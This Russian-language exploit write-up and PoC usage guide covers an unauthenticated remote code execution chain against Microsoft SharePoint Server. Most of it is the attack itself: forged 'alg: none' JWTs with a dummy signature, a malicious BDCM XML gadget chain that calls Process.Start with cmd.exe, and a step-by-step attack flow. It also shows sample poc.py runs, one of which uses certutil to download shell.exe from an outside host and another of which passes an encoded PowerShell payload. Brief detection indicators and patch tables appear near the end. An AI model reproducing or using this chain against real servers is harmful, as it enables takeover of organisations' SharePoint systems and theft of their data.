
Эксплойт-цепочка для неаутентифицированного RCE на Microsoft SharePoint, объединяющая обход аутентификации JWT с небезопасной инстанциацией типов .NET для достижения выполнения кода от имени сервисной учетной записи.
Неаутентифицированный RCE на Microsoft SharePoint Server. Учётные данные не требуются.
Stephen Fewer (Rapid7) продемонстрировал CVE-2026-55040 на Pwn2Own Berlin 2026. Затем Rapid7 обнаружил CVE-2026-63520 в ходе последующего исследования, а VulnCheck независимо нашёл альтернативную цепочку гаджетов. Вместе эти две уязвимости дают неаутентифицированное удалённое выполнение кода против любого незапатченного SharePoint в интернете.
CISA выпустила предупреждения в течение нескольких часов после публикации PoC. Эксплуатируется в дикой природе.
Две уязвимости, одна цепочка:
| CVE | Тип | CVSS | Что ломается |
|---|---|---|---|
| CVE-2026-55040 | Обход аутентификации JWT | 9.1 | Проверка S2S-токенов SharePoint имеет четыре независимые слабости. Объединив их, вы подделываете действительный JWT для любого пользователя — включая администраторов сайта — не зная их пароля. |
| CVE-2026-63520 | Небезопасная инстанциация типа .NET → RCE | 8.1 | Business Data Connectivity (BDC) разрешает произвольные имена типов .NET из загруженного XML без какого-либо списка разрешений. Укажите ObjectDataProvider — и получите Process.Start(). |
Ни одна из уязвимостей по отдельности не интересна. CVE-2026-63520 требует аутентификации. CVE-2026-55040 даёт вам аутентификацию. Вместе: неаутентифицированный RCE от имени учётной записи службы SharePoint.
SharePoint использует вложенные JWT для аутентификации «сервер-сервер» (S2S). Внешний токен несёт идентичность пользователя, внутренний «токен актора» представляет вызывающее приложение. Четыре слабости в SPJsonWebSecurityTokenHandlerV2.ValidateToken() разрушают всю конструкцию:
Слабость 1 — Проверка подписи отключена. Валидатор устанавливает RequireSignedTokens = false. Внешний токен принимает alg: none. Подпись не требуется.
Слабость 2 — Разрешение x5t без проверки. Ключ подписи токена актора определяется путём поиска заголовка x5t (отпечаток сертификата) в хранилище сертификатов. SharePoint никогда не проверяет, действительно ли подпись токена актора соответствует этому ключу.
Слабость 3 — Проверка издателя принимает неизвестные сертификаты. ValidateIssuer() проходит, если подписывающий сертификат не находится в коллекции TrustedSecurityTokenServices. Собственный STS-сертификат SharePoint там не зарегистрирован. Поэтому ссылка на него через x5t проходит проверку издателя безусловно.
Слабость 4 — Некриптографическая проверка подписи. GetTokenSignature() требует непустую строку, но не выполняет никакой криптографической проверки. Подойдёт любое значение. AAAA подходит.
STS-сертификат публичный. Вы получаете его с /_layouts/15/metadata/json/1 — неаутентифицированной конечной точки — вычисляете SHA-1 отпечаток, и у вас есть всё необходимое.
Внешний токен (несёт идентичность пользователя):
// Заголовок
{"alg": "none", "typ": "JWT"}
// Полезная нагрузка
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<целевой SID или UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<внутренний JWT>"
}
// Подпись: пустая (alg:none)
Внутренний токен актора (представляет «приложение»):
// Заголовок
{"alg": "RS256", "typ": "JWT", "x5t": "<отпечаток STS-сертификата>"}
// Полезная нагрузка
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Подпись: "AAAA" (буквально что угодно непустое)
Три способа выбрать идентичность:
Служба Business Data Connectivity в SharePoint позволяет администраторам определять внешние источники данных через XML-файлы моделей BDC (.bdcm). Эти модели указывают типы .NET, которые BDC инстанцирует во время выполнения.
Проблема в DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // любой тип в GAC
Имена типов короче 15 символов проходят через безопасный резолвер. Всё, что длиннее, вызывает Type.GetType() напрямую — который разрешает любое имя типа с указанием сборки из Global Assembly Cache. Никакого списка разрешений. Никакого списка блокировок. Атакующий контролирует abstractTypeName через XML BDCM.
Мы используем System.Windows.Data.ObjectDataProvider из PresentationFramework. Когда вы устанавливаете его свойство ObjectInstance, он вызывает MethodName на этом экземпляре. Установите MethodName = "Start" и ObjectInstance = System.Diagnostics.Process с подделанным StartInfo, и отражение сеттера свойств BDC сделает остальное:
ObjectDataProvider создан
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <полезная нагрузка>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ сеттер свойства запускает QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
XML BDCM, который это несёт:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck задокументировала альтернативную цепочку с использованием System.Web.UI.LosFormatter с десериализацией TypeConfuseDelegate через LobSystem DotNetAssembly. Работает несколько гаджетов — базовый примитив — это неограниченная инстанциация типов.
Атакующий SharePoint Server
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── STS-сертификат (x5t + realm) ─────│ (неаутентифицированный)
│ │
│── SMB null-сессия к DC ──────────────────▶ Контроллер домена
│◀── доменный SID ────────────────────────│
│ │
│── Подделка JWT (alg:none + подпись AAAA) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: аутентифицирован как админ
│ │
│── POST /_api/web/lists ────────────▶│ создание каталога BDC
│── POST .../Files/add(evil.bdcm) ──▶│ загрузка цепочки гаджетов
│── POST /_vti_bin/client.svc/ ──────▶│ запуск ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <полезная нагрузка>
│ │ → выполняется от имени учётной записи службы SP
Шесть шагов:
Получите STS-сертификат. Обратитесь к /_layouts/15/metadata/json/1. Аутентификация не нужна. Извлеките X.509-сертификат из keys[0].keyValue.value, вычислите SHA-1 хэш, закодируйте в base64url. Это ваш x5t. Поле issuer даёт вам realm.
Найдите администратора сайта. SMB null-сессия к контроллеру домена, LSARPC LsarQueryInformationPolicy для получения доменного SID, затем перебор RID (500, 1000-10000) с подделкой JWT для каждого, пока /_api/web/currentuser не вернёт IsSiteAdmin: true. Или просто укажите известный UPN.
Подделайте JWT. Внешний: alg:none, nameid = SID администратора, actortoken = внутренний JWT. Внутренний: alg:RS256, x5t = отпечаток STS, подпись = AAAA. Закодируйте в base64url, соедините точками. Готово.
Августовское кумулятивное обновление 2026 добавляет ValidateSafeBcsType() для ограничения типов .NET, которые BDC может инстанцировать. Исправление JWT добавляет надлежащую проверку подписи и регистрирует STS-сертификат в коллекции доверенных служб токенов.
Основная поддержка SharePoint 2016 закончилась в 2026 году. Организации без расширенной поддержки могут не получить исправление.
Установите зависимости:
pip install requests
pip install impacket # нужен только для --domain-ip автоматического определения SID
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
Скрипт выполнит:
x5t и realm из метаданных STSpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
Вы должны увидеть Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. Это подтверждает, что обход JWT работает и у вас есть доступ уровня администратора.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
На что обращать внимание:
alg: none, обращающиеся к конечным точкам SharePoint. Легитимные S2S-токены всегда используют RS256./_layouts/15/metadata/json/1, за которыми следуют аутентифицированные вызовы API с того же исходного IP. Конечная точка метаданных публична, но разведка с последующим доступом уровня администратора подозрительна..bdcm, появляющиеся в BusinessDataMetadataCatalog. Большинство развёртываний SharePoint вообще не используют BDC. Любая загрузка BDCM заслуживает расследования.ProcessQuery, ссылающиеся на неизвестные сущности BDC, особенно с ObjectDataProvider или LosFormatter в именах типов сущностей.w3wp.exe (пул приложений SharePoint). cmd.exe, powershell.exe, certutil.exe как дочерние процессы рабочего процесса — классические индикаторы.Только для авторизованного тестирования безопасности. Получите письменное разрешение перед запуском этого против чего-либо, что вам не принадлежит.
| Режим | nameid | nii | Что вам нужно |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | Доменный SID (через SMB null-сессию) + перебор RID |
| UPN | upn_bypass + утверждение upn | urn:office:idp:activedirectory | Действительный UPN (например, [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Ничего. Ограниченный доступ, но достаточно для некоторых цепочек. |
Получите form digest. POST /_api/contextinfo с подделанным Bearer-токеном. SharePoint выдаст вам FormDigestValue для операций записи.
Загрузите BDCM. Создайте библиотеку BusinessDataMetadataCatalog, загрузите вредоносный XML .bdcm, содержащий цепочку гаджетов ObjectDataProvider.
Нажмите на спусковой крючок. POST /_vti_bin/client.svc/ProcessQuery с запросом, который разрешает сущность BDC. SharePoint инстанцирует типы из BDCM, устанавливает свойства через отражение, и ObjectDataProvider запускает Process.Start(). Код выполняется от имени учётной записи службы SharePoint.
| Продукт | Уязвим ниже | Патч | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | Августовское CU 2026 | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | Августовское SU 2026 | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | Августовское SU 2026 | - |